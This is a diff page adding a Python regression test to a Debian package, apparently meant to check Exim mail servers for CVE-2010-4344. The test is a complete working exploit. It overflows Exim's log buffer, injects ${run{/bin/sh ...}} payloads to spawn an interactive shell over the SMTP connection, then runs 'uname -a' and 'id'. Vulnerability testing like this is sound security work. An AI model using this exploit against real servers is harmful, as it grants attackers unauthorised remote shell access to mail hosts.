summaryrefslogtreecommitdiffstats
path: root/debian/tests/CVE-2010-4344.py
diff options
context:
space:
mode:
Diffstat (limited to 'debian/tests/CVE-2010-4344.py')
-rw-r--r--debian/tests/CVE-2010-4344.py143
1 files changed, 143 insertions, 0 deletions
diff --git a/debian/tests/CVE-2010-4344.py b/debian/tests/CVE-2010-4344.py
new file mode 100644
index 0000000..1158326
--- /dev/null
+++ b/debian/tests/CVE-2010-4344.py
@@ -0,0 +1,143 @@
+#!/usr/bin/env python
+# Copyright 2010, Canonical, Ltd.
+# Author: Kees Cook <kees@ubuntu.com>
+# License: GPLv2
+
+import socket, sys
+
+HOST = sys.argv[1]
+PORT = 25
+
+try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+except socket.error, msg:
+ sys.stderr.write("[ERROR] %s\n" % msg[1])
+ sys.exit(1)
+
+try:
+ sock.settimeout(10)
+ sock.connect((HOST, PORT))
+except socket.error, msg:
+ sys.stderr.write("[ERROR] %s\n" % msg[1])
+ sys.exit(2)
+
+def want(value, cmd=None):
+ if cmd != None:
+ sys.stdout.write("%s\n" % (cmd))
+ sock.send("%s\n" % (cmd))
+ data = sock.recv(1024)
+ sys.stdout.write(data)
+ final = data.splitlines().pop()
+ if not final.startswith('%d ' % (value)):
+ sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value))
+ sys.exit(5)
+ return data
+
+mail_from = '<root@localhost>'
+rcpt_to = '<postmaster@localhost>'
+helo = 'example.com'
+
+want(220)
+data = want(250, "EHLO %s" % (helo))
+ident = data.splitlines()[0].split()
+# Extract DNS details from helo response
+sending_host = '%s (%s) %s' % (ident[2], helo, ident[3])
+
+want(250, "MAIL FROM:%s" % (mail_from))
+want(250, "RCPT TO:%s" % (rcpt_to))
+want(354, "DATA")
+
+# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
+# and minus the logging header...
+target = 8189
+sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
+Envelope-from: %s
+Envelope-to: %s
+''' % (mail_from, sending_host, mail_from, rcpt_to))
+send = target - sent
+count = 0
+padding = 3 # because of logging's " " prefix and "\n" suffix
+taunt = 'M4iLB0mb'
+header = 'MAILbombhdr%04d: '
+chunksize = len(header) + 120
+amount = send
+while amount > chunksize:
+ prev = amount
+ amount /= 2
+chunksize = prev
+chunksize = 100
+#print "Chunk size: %d" % (chunksize)
+
+#print "hit enter to continue"
+#sys.stdin.readline()
+
+while send > 0:
+ count += 1
+ #print "At position %d (%d to go)" % (sent, send)
+ data = header % (count)
+ perline = chunksize - padding
+ data += taunt * chunksize
+
+ # Down-regulate
+ togo = send - padding
+ if togo > perline:
+ togo = perline
+ # Fill hole for easier forward calculations
+ left = sent % 100
+ if left != 0:
+ left = 100 - left
+ if left < len(header) + (padding * 2):
+ left += 100
+ togo = left - padding
+ data = data[0:togo]
+
+ sock.send('%s\n' % (data))
+ send -= len(data) + padding
+ sent += len(data) + padding
+ #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)
+
+# This header will expand past the logging buffer
+sys.stdout.write("Sending exploit header\n")
+sock.send('HeaderX: ')
+for j in range(50):
+ for i in range(3, 13):
+ sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i)
+sock.send("\n");
+
+# Now trigger the "message too large" handler
+sys.stdout.write("Sending body to trigger reject\n")
+sock.send("\n");
+for i in range(700000):
+ sock.send(taunt * 10 + "\n")
+sock.send(".\n")
+
+want(552)
+sock.settimeout(1)
+trigger = "MAIL FROM:%s\n" % (mail_from)
+sys.stdout.write(trigger)
+sock.send(trigger)
+
+final = ""
+shell = False
+hit = False
+while True:
+ try:
+ data = sock.recv(1024)
+ except:
+ break
+ sys.stdout.write(data)
+ sys.stdout.flush()
+ final += data
+ if '/bin/sh' in final:
+ shell = True
+ if shell and not hit:
+ sock.send("uname -a\n")
+ sock.send("id\n")
+ hit = True
+
+sock.close()
+if shell:
+ print "\nSystem is vulnerable"
+ sys.exit(1)
+print "\nSystem appears safe"
+sys.exit(0)